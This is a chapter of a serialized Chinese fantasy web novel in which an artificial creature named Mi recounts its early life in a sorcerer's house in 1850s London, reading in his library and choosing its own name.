图片载入中

淫印天使(第二部)(36)

特大字】 【大字】 【中字】 【小字

予人玫瑰手留余香,希望您高抬贵手点一下右上角的举手之劳 。

您的支持 是我发帖的动力,谢谢 !

*** *** *** ***

36

看到明的态度,蜜感到稍微舒坦一些。

闭上双眼的蜜,慢慢唿一口气;在感受胸中的紧缩被逐渐释放时,她也发现, 自己果然期待这一刻到来。然而,在蜜的心中,有一大部分还是非常挣扎。特别 是较后面的段落,除了会让她手脚冰冷,还可能会让她喘不过气。

蜜放下酒杯,两手紧扣着肉室地面。为了压下恐惧,她咬着牙,全身紧绷。 过约三秒,她才放松身体。动两下耳朵的蜜,继续说下去──

我可以看他的书,这显然是打发时间的最好方法。而底下缺少照明,我现在 又不被允许进到研究室里。在暂时无法从凡诺那边得什么帮助的情形下,我上楼, 先进到研究室旁的储藏室里。储藏室里或许有能够派上用场的东西,我想,凭我 现在的体型,可能要花一点功夫,才能打开储藏室的门。

而来到储藏室前,我却发现,门没有关。是凡诺为了方便还很幼小的我到处 探索;他可能这么体贴吗?我不敢确定,或许这是测试的一部分。当然也有可能 只是因为他的生活习惯不好,或者真有小偷光顾过。

我推开一堆杂物──多数为花瓶和陶器──,才在角落找到一盏看来非常便 宜、简陋的油灯。里头有满满的灯油,由于没找到火柴,我只好利用走廊上的蜡 烛。研究室里的那颗光球应该能点着东西,也几乎不需要照顾。而凡诺竟然在走 廊上用蜡烛这种需要每天更换的东西,实在让我有些惊讶。不晓得他是为了情调, 或纯粹只是因为懒得再做出一个光球,我想,希望他是前一种

我把仓库里翻出的旧信封袋给撕一小段下来,用于引火。烛台的位置比走廊 上的花瓶还要高,而我只要使劲一跳,就能够接近火源。为避免造成任何意外, 我的动作十分小心。最后,我当然是在没伤到自己,也未引起火灾的情形下,把 油灯点着。

从找到油灯到想办法点亮,花了我不只半小时。而只有一盏灯,仅能照亮图 书室内一小片空间。就算再多两盏,也不能消去地下图书室的阴森感觉。而我对 照明要求的不多,只要不会在我看书时太伤眼睛就好。

油灯不矮,几乎等同于我用四脚站立时的高度。先前,为了带着它走,我一 直努力用嘴巴把它抬高。我这种鼻子指着天花板的姿势,看来有点可笑。除了嘴 巴不舒服外,我还看不见路面。但我只要用一只前脚摸索,慢慢前进,还是可以 下楼梯。

油灯点着后,温度很快升高。再让脖子和胸口继续贴着它,对我来说实在难 以忍受。早料到这一点的我,在点着油灯之前,就咬出一枝末端严重磨损的拐杖。 还需要稍微加工,我想,立刻转身。在我右手边的一个工具箱里,有一把好像几 乎没用过的小锯子。我把这只不比菜刀宽和长的锯子从一堆工具中拖出来,并小 心别让自己倒在一堆易碎物品上。

我把拐杖的放在台阶上,用右前脚踩着。嘴里咬着锯子的我,先把拐杖锯短, 再把拐杖头的内侧给锯出几个开口。我作业的地方很靠近研究室,发出的声音也 不算非常小。先前,我就已经透过用胡须和耳朵,确认过这栋房子的隔音品质; 厚实的木材,再加上贴在门缝等处的肉质材料,大概连我在门口的叫声都能够阻 挡。绝对不会打扰到凡诺的研究,我想,这样就没问题了。

而我锯到一半,才开始想,这枝拐杖会不会是他的什么重要纪念品?我只停 下动作不过两秒,就继续作业。别告诉他就好了,我想。凡诺没有发现,而现在, 我也确实需要一个辅助提把。

在加工完后,整枝拐杖现在只有我从鼻子到屁股的长度,而弯曲处的几个开 口刚好能容纳油灯的提把。油灯的握把只是几条可轻易弯曲的铁丝,这种细长的 结构,抓握起来实在不算舒适。而如此简陋的好处是,我只要稍微用前脚按压, 就可以把它调整成紧贴拐杖头。

我咬着拐杖中段,歪着头,让油灯高于我的右腿。确定铁丝握把有牢牢固定 在锯出的缝隙里后,我就不用担心油灯会落到我脸上。现在我提着它,不仅不那 么容易被烫伤,还能看到我脚前的路。只是为了照明,却是那么费时又费力,我 想。而我也不得不承认,刚才忙碌的过程虽然有点狼狈,却也让我非常有成就感。

我小心走下楼梯,避免灯油晃出来。选好书架后,我把油灯放到地上,用前 脚把几本书拨下来。一些用来看,一些是用来拼成我的阅读桌椅。垫在屁股下的 尤其重要,我想,石制地板实在太冰了,那一波波寒气连我的肉垫都挡不了。

我只需要稍微嗅闻一下,就晓得这里其实被打扫得非常干净。正当我怀疑是 不是凡诺会定期请清洁工来负责的时候,我看到一个很快从书架上钻过的东西。 我晓得,那不是老鼠,也不是蜘蛛。从动态看来,那是一种软体生物。

我眯起眼睛,看到那团又黑又亮的东西停在一块地板上。除了没有一定形状 外,它还是半透明的。它的身体内外没有任何明显的器官,倒是有些像是才消化 到一半的东西,正在慢慢变黑、变薄。那好像是一只小虫,我想,大概是从地面 缝隙钻上来的。

那团又黑又亮的东西,看起来真有点像是海参或蛞蝓,但明显比那两种生物 要灵活许多。我猜,它八成也是凡诺用囊制造出来的。运用在我身上的技术,在 它身上大概也能找到一些。尽管如此,它可能称不上是我的原形。因为它没有思 考能力,也无法大幅度的改变身体构造。

即使它真是我的原形,我也不会拒绝承认;对于我的近亲,我还有过更不堪 的想像;若我在储藏室或哪里发现任何试做型的遗骸,我应该会为自己离那些失 败作品有一段距离,而感到安心一些。

它在消化完体内的虫子后,就立刻远离我;速度简直比蛇还快,让我看不出 它到底是用翻滚的,还是蠕动的。而透过耳朵和胡须,即使隔一段距离,我还是 能察觉到它的存在。它不断发出“咻噜”、“咕噗”等声响,但不会比我翻书的 声音要来得大。

几秒钟之内,那团东西就钻过好几个书架。我猜,先前,囊的碎片就是被它 吃光的。过约五秒后,我发现距离我约五米的前方,有一点刚冒出来的植物嫩 芽。

那团东西迅速拐弯,经过那块地板。它把那一点嫩芽整个盖住,接着不要两 秒,嫩芽就消失在它的体内。应该是连根都不剩,我想,不知道它是用什么方式 感受到那株植物的存在,应该不只是靠嗅觉而已。凡诺显然就是用这团东西负责 清洁,而他也从不担心自己的家具和藏书会被它给弄坏。

的确,这间图书室被那团东西维护得非常好。想到这里,我叹了好大一口气。 凡诺是我的创造者,我当然想要取悦他。而就在刚才,我确定自己没法藉着打扫 图书室来让他高兴。

但往好的方面想,有这团东西帮忙处理杂务,就表示我以后都能够百分之百 享有自己的时间。如果它真有打扫得那么确实,我也不用担心会碰到长满霉菌的 书,或者是被一堆灰尘给呛到猛咳嗽。

这团东西看来虽然简单,但应该也能够抓老鼠,我猜,即使是要吞掉比老鼠 还要大和迅捷的生物,可能也难不倒它。

“虽然是长那个样子,却比猎犬还要了不起吗?”我喃喃自语,眯起眼睛。 在某种程度上,这玩意儿激起了我的狩猎本能。

我只要全力冲刺,马上就能站到它面前。但在仔细考虑过后,我决定还是别 碰它。除嫌脏之外,我也怕它会一口就把我的半边身体吞噬、融解。我决定,以 后再研究它的各项能耐,和要用什么方法才能操控它等问题。

我翻开一本描述有毒植物的书,仔细阅读之中的内容。约十分钟后,我听到 研究室的门打开。应该凡诺是要去上厕所,我想,立刻上楼。厕所位在大门旁, 这配置很不寻常,而我不好奇这栋房子当初为何如此设计。

我坐在厕所门前,等凡诺出来。他在厕所里待超过两分钟,应该不只是尿尿 而已。而我没听到什么声音,更没闻到什么味道。过约五分钟后,他出来,面无 表情。他一看到我,就说:“小家伙,你刚是才在图书室里?”

我吓一跳,背的毛发竖起。而他没看我超过两秒,就转身,显然又要进到研 究室里。我咬住他的右边裤管,逼使他停下脚步。用这种方法来引起他的注意, 让我紧张到心脏仿佛要跳出来。而再次低头的凡诺,依旧是面无表情。我松一口 气,但不松口。我晓得,要是不赶快说些什么,我可能会被他踹到一边去。

既然瞒不住他,我干脆就请求它允许我翻阅底下的藏书,也拜托他让我有足 够的照明。虽然我咬着裤管,口齿不清,但显然凡诺都听得懂。他很快点头,这 令我感到惊讶。他允许我使用图书室,并提醒我不准在那里点火。还好,我没跟 他说我刚才有使用油灯。他晓得我会用火,还瞄一下走廊上的蜡烛。我很小心控 制表情,不让她发现我心虚。而在短时间之内,他也没打算教我任何制造光亮的 法术。

他抓着我的颈子,把我拉离他的右脚。接着,他从左边口袋里拿出一盒纸牌。 他眨一下眼睛;一道不算清晰的蓝光,从他的右边眼珠下缘闪过。过几秒后,他 往右转身,进到研究室。在关门前,他像是差点忘了似的,把那盒纸牌丢到我面 前。

凡诺好像无心解决我的难题,一开始我是这么想的,直到我发现盒子边缘有 光线透出来。我用爪子把盒盖掀开,里头的各色光芒让我闭上眼睛。每一张牌都 会发光,而至少十种颜色供我挑选。虽然亮度远超过烛光,却不会发热。这表示 即使我不小心忘在书堆里,也不会引起火灾。

红色、蓝色、或绿色的牌很漂亮,但实在不适合用于图书室,我想。在思考 几秒后,我把黄色、白色和橙色的都挑出来;一共有九张,够把十坪左右的空间 给照亮。每一张牌都非常的亮,放于低处的那几张,我还得用几本书遮挡他们的 光线。那时我还不知道“间接照明”这种说法,只觉得这样比较有美感,对眼睛 会比较好。

凡诺提供的纸牌为我带来不少方便,而我没有立刻吹熄油灯。为使这个简陋 的油灯变得适合我,我可是费了好一番功夫。只因不想承认刚才那段努力是白废 的,所以坚持要继续使用它;凡诺要是知道我有这种想法,除会对用火一事非常 生气外,大概也会觉得我非常幼稚。反正我才刚出生,我想。至少两年内,成熟 与否等评语,对我而言可说是无关痛痒。

为了加深自己的信念,我还自言自语道:“火焰散发出的温度,会让我觉得 很暖和。而那摇曳的火光,也能够为底下带来不少点缀效果。”

虽然真正到了冬天,我比较需要的应该是热水袋。且仓库里头没剩多少灯油, 这种灯火浪漫大概最多只够我玩两天。我叠高的书堆倒还稳固,不会砸到它,我 要小心的是那团到处跑的东西。这里多的是纸,火势一但蔓延开来可不是开玩笑 的。

图书室里的书籍涵盖各国语言,所幸多数都是英文和俄文,而这两种语言正 好又是我最擅长的。这或许也表示凡诺若不是来自英语系国家,就是来自俄语系 国家。

不少书的装祯十分讲究,除使用相当高级的牛皮外,连封面和书背镶有贵金 属。我还看到一些手抄本,从纸张的颜色看来,极有可能是古董。除了无可避免 的泛黄外,这些书大部分的保存情况都相当良好;既无虫蛀,也无发霉或过分日 晒的痕迹,闻起来也只有纸张的香气。

只要懂得门路,这样的精装书随便卖出挤本,得到的金钱可能足以供应一个 中下阶层的家庭吃上好一阵子。了解到这一点后,我有好几天在刚开始翻书时, 前脚的动作总是战战兢兢的。

一些较有些年代的书,使用的辞汇也较为古老。所幸书架上也有不少讲述古 典用语的辞典,所以基本上还是难不倒我。凡诺是个极为聪明的人,也正是因为 如此,在赋予我知识这方面他也是表现得极为大方。这让我在感谢他的同时,也 更确信他无法忍受笨蛋。至于构成我的人类材料──他或她的详细资讯到底是如 何──,我决定以后要调查个清楚

或许凡诺之所以要我离开研究室,就是希望我在这间图书室里能好好充实自 己。以免被他抛弃,我想,好像不该这么悲观。我也不会再认为他要消灭我,因 为我开始相信,他对我有些期待。

尽管先前见识过凡诺的态度,我脑中还是浮现一些天真的念头:像是他其实 非常喜欢我,或至少非常需要我。我希望他是个温柔的人,尽管目前的资讯都显 示,冷酷才比较有可能是他的核心特质。

然而,在长时间的阅读过程中,我也发现另一件事。这事虽然细微,但真的 令我感到有些遗憾。虽然,我脑中拥有不少知识,而我却没有学习这些知识时的 记忆。

起初,我觉得这种心里会在短时间内疚消失。但过不到几天,我就开始因为 脑中的匮乏感,而开始会觉得有点反胃。这些影响我抉择的资讯,在我脑中占据 这么大的一部分,却好像有一大堆都缺少轮廓、色彩、温度和动态。

我闭上眼睛,说:“所以,一个刚学会说话的小婴儿,脑中的讯息也会比我 有‘质感’吗?”理解到这一点,使我变得很难欣赏自己的头脑,也很难不羡慕 那些从零开始学起的人;后者的学习过程也许辛苦,但至少在感受上是极为丰富 的。这应该是第一次,我对人类感到非常羡慕。

过差不多两天,我确定自己对什么样的书有兴趣。为了解人类,我是该从历 史、地理开始学起。但更合我的胃口,却是神话、园艺以及绘画。后几种书的插 图比较丰富,内容也比较有感情,我想,艺术评论多数都极为主观,但这类主观 论述本身也相当具有趣味。看那些争论、批判和拥护的段落,特别能让我打发时 间。

虽然新知的质感怎样都比不上更实际的经验,但大致上算是可以接受。而在 累积新知的同时,我脑中的旧知识也开始活泼化,这尤其让我感到兴奋。

最让我惊讶的是,我不需要吃饭,一天也只要睡大概二到四个小时。我也需 要排泄,而不仅次数不频繁,方法也和一般生物很不一样。凡诺会准备一个鲜红 色的软嫩肉块,让我的其中两只脚碰触。肉块的表面没有什么纹路,似乎和图书 室里的那团东西有血缘关系。不要五秒,我体内的废物都会通过那两条腿,进到 那个光滑的肉块里。像这样的过程,我一天最多进行两次。在这过程之后,我会 觉得很舒畅,除了感到渴之外。

我不用吞下固态食物,只需要喝水。而在我的一次请求后,凡诺准许我带一 瓶水和碗到底下。他甚至允许我奢侈一点,用研究室内的炉子泡一壶茶。这让我 开始喜欢他,尽管他答应时,语气和表情也开始透着点不耐烦。

这一个月,凡诺的研究似乎是进展到最重要的阶段,所以我有相当多的自由 时间。我常常图书室里耗掉大半天,晚上干脆就睡在图书室里。这底下不是很暖 和,但我也不是那么容易受凉。虽然我讨厌寒冷,而这好像只是心里上的不适远 多过于生理上的。所以即使到了冬天,我可能也完全不需要调整身体。这和我原 先预料的不同;尽管如此,我还是没有把油灯收起来,只是变得更节制点亮它。

这段期间,我也一直观察凡诺。他几乎不外出,好像也真的完全不需要睡觉。 他一天只上一次厕所,每次最多只耗费五分钟,而过程中没有任何声音和味道。

没人寄信给他,也没有多少人来拜访他。教会的人会过来通知相关活动,或 者直接拿箱子、要求捐献。一些觉得他十分可疑的人,也会试着打探;而有不少 人自己也是鬼鬼祟祟的,所以不见得是邻居或警察,我猜,之中或许有不少就是 小偷,想再行窃前先观察情况。

而神奇的是,这些人往往都会敲到其他人的门,不然就是在和空气交谈。我 甚至在窗边看到,有个一身黑的家伙,对着一片空荡荡的地方东摸西拨。他们不 认为这样哪里有问题,连从他们身旁经过的路人,也好样完全没发现他们。

我能猜想到,是凡诺施展的一些法术,让这些人的视听触觉等都受到影响。 真是惊人,我想。而比起眼前的法术或壁炉里的光球,像我这样的玩意儿,显然 才是最特殊的。比起凡诺的出身、经历,我对自身的构造更为好奇。而要听到他 就这个主题做出详细讲解,显然我还要等好一段时间。

身为凡诺口中第一号作品,我常试着感到骄傲。而他却一直没为我取名字, 这实在有点奇怪。或许没什么大不了的原因,只是他懒而已,我想。负责打扫的 那个软体生物也没有名称,使得我到现在还称它为“那团东西”或“那个玩意儿”。

过一个月后,凡诺终于觉得这样不太对,干脆要我为自己取名自;他似乎是 想让自己表现得比平常更亲切一些,还丢了本辞典给我。此举反而让我怀疑他其 实是在开玩笑,因为图书室里已经有不少辞典。他这样做,只是更突显出他对此 事的态度有多随便。

在某种程度上,我早料到会有这一刻;光凭那少少的几次交谈,就足以让我 了解到他的个性。

“所以我早就已经决定好了。”我说,转头看向一本绘有蜂巢图案的园艺书 籍,小声念:“蜜。”之所以选择这个字,其实没什么特别的理由;纯粹只是因 为它是甜的,就这么简单。

尽管我长得一点也不像人类,但──说来真有些难为情──我还是希望自己 能自然散发出一种甜美的氛围,让周围的人都很喜欢和我相处。而叫“蜜”,感 觉不仅有很多正面涵义,也不会比叫“糖”要来得俗气。

在故事里,能被以蜜来形容的人事物,本身通常都是极为正面、美好的。从 古到今皆然,我想,虽然已经有些调查报告指出,一些蜂蜜的材料不限于花;这 表示即使完全没有人工介入,也不是所有的蜂蜜都能吃。我不是个太吹毛求疵的 人,所以也不打算对此思考太多。

而只有一个字,我想,不只好记,也具有神秘感。极为满意的我,很快把这 名字跟凡诺说,并期待他晚点就会这么叫我。而过半天后,他还是只叫我:“小 家伙!”

我皱起眉头,因为耳膜不适而甩几下头。他的声音不小,简直像是在身旁叫 喊。或许他就是透过建材里的生物组织来传话,我想,这似乎不是错觉。在听到 他唿唤的头五秒,我就把油灯吹熄。

我很快冲上楼,书和纸牌暂时都不整理──我在这段日子确定过,那团东西 不会擅自碰触我拿下来的任何物品─。如果我假装没听见,凡诺会不会叫第二声? 我虽然很好奇,但不打算挑战他。通常我即使位于图书室的最深处,也不会让他 等超过一分钟。

要是让他等太久,他可能就会自己下来,硬是用蛮力把我拖上去。我既然不 会饿,那他就不能罚我没饭吃。而即使长时间不让我喝水,我或许也能摸索出一 种只需少量饮水的节能模式。这样他要达到惩罚效果,就只剩把红色肉块收起来, 和痛殴我一顿这两个选项。我极力阻止自己去想像其他可能,但脑中还是闪过那 个迅速萎缩的囊。既然能轻松避开惩罚,那我就不该故意捣蛋。

他找我,不是为别的,就只是要我回答那堆白沙在陶板上拼凑出的东西。每 过一次,他都会提高难度,到后来连算术都出现了。不要多久,就开始有一些数 学题目是我解答不出来的。连考验辨认能力的图像题,也冒出一堆我完全不认识 的东西:一些是机械零件,一些是异教符号;我能勉强认出中国的饕餮纹,至于 半球状的东西到底是碗盘还是面团,实在是难倒了我。差不多到第十次测验时, 我的正确解答次数,远低于答错或回答“不知道”的次数。

而凡诺看来没有很失望,只是一直小声说:“当然、当然──”

即使这几天的大半时间都待在图书室,我的知识范围依旧在他的意料之内; 显然从头到尾,我都未曾让他感到惊讶。想到这里,我又开始感到有点火大。虽 然他完全没有耍我,但我实在很难不讨厌他的态度。

我还是比较喜欢在图书室内看书,因为这过程即使困难,也实在不算有趣。 干脆就打一个大哈欠,让他晓得我真的觉得很无聊;这念头冒出过许多次,而每 次都我在短暂的考虑过后,决定别这么做。我实在很胆小,特别是在他面前。

所幸这堆无趣的测试最多只会花我一个小时,更多时候是只花半个小时就结 束。在短暂进入研究室的过程中,我也观察到,凡诺椅子两旁的书每天都不同。 但常待在离楼梯口不远处的我,从来不曾见他亲自下来取书。也许他能像操控其 他东西时那样,让书用滚的或飞的来到他身边。再不然就是靠那个软体动物来运 送,我猜,试着想像那一团东西因为包住一叠书,而变成柱体的模样。

“那样要怎么上楼啊?”我说,觉得那画面实在有点可笑。

而我实在好奇,所以有超过五天,我看书时都特别靠近楼梯口。而才过两天, 我真的看到那团东西包着五六本书,快速爬上阶梯。

“真的能负责运书啊!”我惊讶得大叫,眼睛使劲眨两下。

说不定再过一段时间,我会发现它的其他技能,像是修理房屋之类的。在这 个家里,那团东西才是最有用的;凡诺多数时好像也只需要它,而不是我。当下, 我因为理解到这件事,而没法笑出来。我不仅感到有些伤心,还有些生气。在给 这种情绪折磨快半小时后,我连书都看不下去,干脆躺在书堆里发呆。要过半天, 我才晓得,这个情绪是忌妒。

我不看书时,会在图书室里奔跑。图书室内的空间不小,而我才刚出生不到 两个月,适当舒展筋骨对我而言非常重要。跑上不只一小时,很快觉得无聊,

跑完后,若还是不想看书,我就会闭目沉思。这时,我通常都是在回忆、重 组先前读到的内容,试着把刚才得到的感动给更加诗意化。而有些时候,我也会 慢慢唿吸,仔细感受自己体内的每一丝鼓动。只要我够专心,就能自由改变肌肉 甚至骨骼的比例。我甚至觉得,自己可以做到更细部,也许从细胞最深处的本质 开始改变。所以我其实有能耐变成完全不一样的生物,那程度或许还超过昆虫的 变态;这也表示,我有机会变得像人类。

发掘自己的潜力,其实远比看书还要有趣。而在那时,我就知道,这种实验 不能密集进行。每次,我变化身体时,都会消耗掉体内的某些东西。虽然量都不 多,但在没确认该如何补充以前,我不该随意浪费。

知道自己的潜力十足,是令我兴奋不已。而在同时,我也再次晓得,自己的 确是个怪物。依据凡诺先前的说法,我可以推论出,像我这样的特殊生物在这世 上应该不会只有一个。但在这座城市里,我似乎是唯一的。

无论哪种生物,遇到看似熟悉的家伙,会先试着靠近研究。后来,一但发现 对方是彻头彻尾的异类时,他们的第一个反应通常都是极力排斥。而我才不在乎 一般猫狗的态度,我只注意人类。

即使有那么多的故事是专门讲述人类的无能、无力和野蛮,但从许多角度看 来,他们显然才是这个世界的主宰。随着时间推进,他们掌握的通常只会越来越 多,我想,而他们的数量也十分惊人。依据以上这几点,我得出一个简单的结论: 熟悉他们大部分的人,远比只熟悉凡诺一个人还要来得重要。

而让我感到悲观的是,即使教会的权利已经是一年不如一年,我也有可能会 招致许多敌意。书上也写到,光是国籍、信仰甚至生理特征上的差异,就足以让 人类不合。而像我这种在根本上就和他们不同的异类,要和他们做朋友,可说是 一件不可能的事。连合平相处都有可能是奢求,我想,人类就是这样纤细的生物。 他们有些可能比凡诺还要难相处,思考到这里,我皱一下眉头。

幸好人类的数量极多,我想,只要找到之中最好相处的几个人,和他们成为 ──朋友?我打断自己的乐观念头,在心里反复念着这两个字。突然间,我开始 感到疑惑;为何我坚持要如此,难到我就不能只和凡诺在一起,或自己一个人过 下去吗?我试着这样自问,却回答不出个所以然。

很明显的,在我心中,希望能在和人类相处的过程中得到不只一种感动。而 除了友谊之外,我还期待能建立另一种关系。类似血亲,又不完全是血亲,对此 时的我来说,有些念头尽管已经开始在我的脑中发芽,却还是太过抽象。

凡诺尽管常表现得很冷淡,但目前看来,他还愿意守护我。既让我活下去又 提供我知识,而或许再过不久,他会更积极的带我了解这个世界,我想,光是这 几点,就足以让我对他宣誓效忠。

又过一个月,我的外型已经渐渐脱离幼犬时期。再过不到半年,我看起来会 更不像普通的狗。若是凡诺带我走上街,他总有一套方法能够掩人耳目。而事实 上,他从来没带我出去过,也不允许我擅自离开这栋房子。

在我脑中,那些他带我上街的画面,纯粹就只是我的幻想。竟然连住家附近 都不能让我随意走走,这实在让我有些不高兴。这两个月,我算是表现得够有耐 性了。要是因为某些理由──像是凡诺突然死亡,这并非完全不可能──,使得 我需要独自离开屋子去处理,那可就不容易了;我得想办法隐藏自己,也许只在 夜间出去,又只在屋顶上移动。

真是悲哀,我想,叹一口气。我不觉得那种生活有任何魅力,而我目前的生 活,也实在称不上精采。

“两个月啊。”我喃喃自语,心想,竟然已经过了这么长的一段时间。

我常常会感到有些寂寞,即使凡诺就在楼上,我又有不少书陪伴。负责打扫 的那团东西──现在正在吃我掉下来的毛──根本无助于我排解寂寞;它连宠物 都称不上。

蜜举起酒杯,双眼半睁。刚做完几下深唿吸的她,看着明,说:“那时,我 在短暂的失落之后,又会再次感到充满希望。完全不需要任何安慰,显然是因为 年轻的缘故。”

蜜闭上双眼,唿一口气。晓得她的内心依然沉重,让明不自觉的握紧双手。

过快半分钟,明才开口问蜜的出生年月日,以及当时究竟住在哪个国家的哪 座城市等问题。这些当然不是十分重要,但终究是最基础的资料,明很难就这样 忽略过去。

蜜放下酒杯,闭上眼睛。慢慢吸一口气的她,回答:“我记得,当时是冬天。 而事后透过一些粗糙的推算,我应该是在一八五零年左右出生。由于我的创造者 从好些年前开始,就没有看日历的习惯,所以我不也记得自己出生时的详细日期 和年份。”

“那时,国内外各领域的艺术不是已经进入转变期,就是正准备开始转变。 不少人会因此给那个时代贴上混乱、冲突等标签. 但我最为单纯、轻松、愉快的 几十年,就是在那样的时代度过的。”

还有一个重点,蜜差点忘记讲。她想,脑中的酒精早就已经移到别处,所以 不能说是因为自己喝多了才这样。右手摸着肚子的她,说:“我出生的地点是英 国,要再说详细一些的话,是伦敦的中上阶层区域。你可能会觉得,我这样讲还 是有些模煳,但我也实在不记得地名方面的细节。我有个坏毛病,就是即使在一 个地方待超过十年,也懒得记地名或观察地图。多少是因为我有好几年都待在室 内,而外出地点又几乎都是由凡诺决定所导致。再过一阵子,我和他就会搬离这 个国家,再也不回去──”

当我实在不想待在图书室里时,就会走到走廊的窗边。既是晒一下太阳,也 是为了多看看人。我把从仓库里找来的饲料桶倒着放;先让后脚的爪子扣着桶底 边缘,再把前脚按在窗框或玻璃上。我现在的体型已经是刚出生时的两倍以上, 却还是有快要一半的视线被墙壁挡住。因为桶子不高,我想,这实在没有办法。 而光是这样,就已足以让我看到不少行人。

外头的人,无论男女,都和凡诺非常不同;基本上,他们的毛比较多,眼神 也都没有像他那样可怕。而他们之中,有很多人不仅看来毫无气势可言,目光还 很涣散。一些是天生如此,也有一些是后天造成;患有疾病、大量饮酒、长期受 到虐待或曾遭逢重大意外,甚至是服用对身心有害的毒物,都有可能让人像是失 了灵魂一般。

一些人明显已经没剩没多少日子好活,所以很难露出笑容;有不少人明明日 子还长得很,却已经开始痛恨自己的人生。然而,我却觉得他们多半都比凡诺要 美。这想法实在很冒犯,但我不想对自己说谎;如果是对凡诺说谎,则难不倒我。

严格来说,凡诺有种雕塑式的美感,很接近出自名雕塑家之手的古罗马皇帝 人像。窗外的人与他相比,明显粗糙得多。而后者散发出的某种质感──一些在 我看来很接近温度或波动的东西──,远比前者要强烈。有时我甚至觉得,前者 完全缺乏后者所拥有的优点,但我却说不出到底是什么优点。

最主要是内部的差异,我的直觉这样告诉我,但这种想法实在很奇怪;他们 都不比他聪明,有些还被酒精和药物搞坏了脑袋;这些凡诺口中的一般人,明明 命不长,却可能过了大半辈子都还没有明确的努力方向。烦躁、忧郁等常伴随在 这些的人左右,而这些老对金钱、地位、名声、工作甚至家庭感到无力的人,对 我来说却比书中的插图还要来得漂亮。他们散发出的──光芒,远超过凡诺给我 的纸牌。正因为存在感不比凡诺来得强烈,所以他们身上的色彩却也显得较为单 纯、可爱。

我重新检视刚才的想法,发现自己有点像是在品尝这些人的不幸;看到过得 不愉快的人,胸中却有莫名的感动,当然会让我受到良心谴责。而事实上,我只 是用较单纯的情绪,把说来更难为情的念头给埋在内心深处:那时,我就常幻想 自己在进入这些人的生活后,能让在短时间之内就让他们振作。或至少,他们会 因为有我陪伴,而在人生的某一阶段──也许就是最后的一段时间──能得到不 只一点安慰。

也正是因为这种心里,让我特别细注意他们带在身旁的狗;毕竟那种生物在 外型上和我最为接近。我想要融入人类社会,而最好的方法,或许就是成为某人 的宠物。

而扮演一个远离知性太多的生物,这种高难度的戏剧我大概无法撑超过两天。 所以在我设定的剧本中,有一段──最好就是第一段──是我把一切的真相告诉 我的人类朋友。这样他们或许就会愿意让我待在有书看的地方,也会和我进行不 同于一般宠物的互动。虽然这么想,我倒是不介意身上被到处抚摸,或是听到一 堆逗弄意味十足的童言童语──还可能来自一堆早就已经不是儿童的老家伙──, 因为其实我也挺喜欢和人有那样的互动。

我或许会一直跟在凡诺身旁,又或许不会;而为后一种情形想非常多,或者 有那么一点点期待,我想,应该不是一件太糟糕的事。

路上的狗,多半都是小型或中型犬。大型犬没有非常多,但不至于大半天都 看不到一只。有些人对自己家的宠物实在粗鲁;我常看到几只不知是犯了什么错 的狗,被他们的主人当街打骂。它们凄厉的叫声,连位在二楼的我都能听到。也 有些是主人太过放纵,我就曾看到一只小狗突然冲过马路,差点不幸死在车轮下。

接着,有好长一段时间,我都没看见什么特别的景象。正当我想说再十分钟, 就该回到图书室的时候,我注意到一只非常老的狗。它走起路来有些无力,而他 的两位主人──一男一女,身材中等──也迁就它的走路节奏;要再慢一点,还 是干脆停下来,都随它高兴。那两位主人当然希望它能够好好休息,但又不能不 带它出来;一但到了这个年纪,如果还成天待在家里,肌肉、骨骼等会退化得更 快。

女主人蹲下来,轻轻抚摸它的头。它抬起头,慢慢舔她的手和脸。我看得出, 她其实更想抱它。而她每次张开双臂,都会立刻把手收回去,显然很怕刺激到它 发炎的关节。他们都非常的爱它,愿意陪它到最后。而它即使晓得自己的日子不 长,也想要死在他们的怀中。

这时,从我胸中涌出的感觉相当新奇。而我明明觉得有不止一个强烈的思绪 在脑中流窜,然而我竟然找不出任何词汇来表达我此时的感受。在某种程度上, 我有点羡慕那只老狗。第一次,我因为恐惧以外的理由,而有种想哭的感觉。当 下,我十分讨厌这种念头;因为这让我感到难为情,又一次的。未等那人带着那 只狗远离,我就离开窗前,下到图书室去。

在背对窗子时,我也有种干脆打开窗户,来引起他们注意的冲动。也许用一 声吼叫,或者丢出什么东西,我想,既然我没有“跑出去”,就算是有遵守和凡 诺的约定。故意制造麻烦,再跟凡诺玩文字游戏,我不用两秒思考就晓得,这只 会让他更生气。而突然有这种冲动,部分原因当然是跟我在这栋房子里待太久有 关。我到底还要被这样限制行动多久,是不是至少半年,应该不会是一辈子吧? 想到这些问题,我连耳朵都垂下来了。

过两周后,凡诺像是察觉到我的想法一般,突然准许我出门。

“但有个条件,”他说,“你得要学完现阶段的最后两堂课才行,嗯──说 是这么说,其实是第一堂课和第二堂课,毕竟前面都只是测试。聪明的你,应该 早就看出来了。”

“没错。”我说,眼睛半睁。回答得极为简短,语气和表情皆坚定;我这样 做,可能让他觉得有些不太礼貌。而在和他相处一段时间后,我有时真的觉得, 他其实就是讨厌我对他太有礼貌。

“哼嗯──”凡诺把头往左歪,说:“听着,你可能会为接下来看到的觉得 十分惊讶,八成还会感到恶心。而你即使很难接受,我也只会说:‘哎呀──接 受现实吧,你生来就是这样的生物!’如果你能早点进入状况,并为新认识的一 切感到高兴,那你往后应该都会过得很幸福。”

幸福,这两个字听起来虽然清晰,而我对于之中的概念却有些陌生。我现在 幸福吗?我想,这两个月下来,我已经很习惯凡诺的眼神,知道自己的兴趣是读 书,也晓得自己的身体还有很多可探索之处;但要说这样的生活完全没有一点行 尸走肉的感觉,我似乎还缺少不只一点关键。

我在思索这问题的同时,脑中也蹦出很多画面。而之中最清晰的,却是那只 老狗的身影。因为我觉得再也见不到它了,内心又感到紧绷,所以涌到我嘴边的 问题也瞬间变得极为简单:“我可以活多久?”

抬起头的我,神情极为严肃。而凡诺只是咧着大嘴,一派轻松的回答:“应 该有个几百年吧。”

真是长得离谱,我想。死亡不至于那么快到来,是让我有种松一口气的感觉。 但如果我有主人的话,将会和那只狗的情况相反:跟一个人从小在一起,我先是 看着他长大,再看着他变老。当他迎接死亡时,我在他的眼中最多只会有一点改 变。他下葬后,我可能会守在他的墓前好一阵子。最后,我应该会因为忍不住寂 寞,而去找下一个主人。这样的话,就表示在我一生中,可能会经历二位甚至三 位以上的主人。而我每换一个主人,先前的主人都将永远留在我心中。我有办法 像爱第一个人那样,爱之后的人吗?我想,这问题迟早得面对。

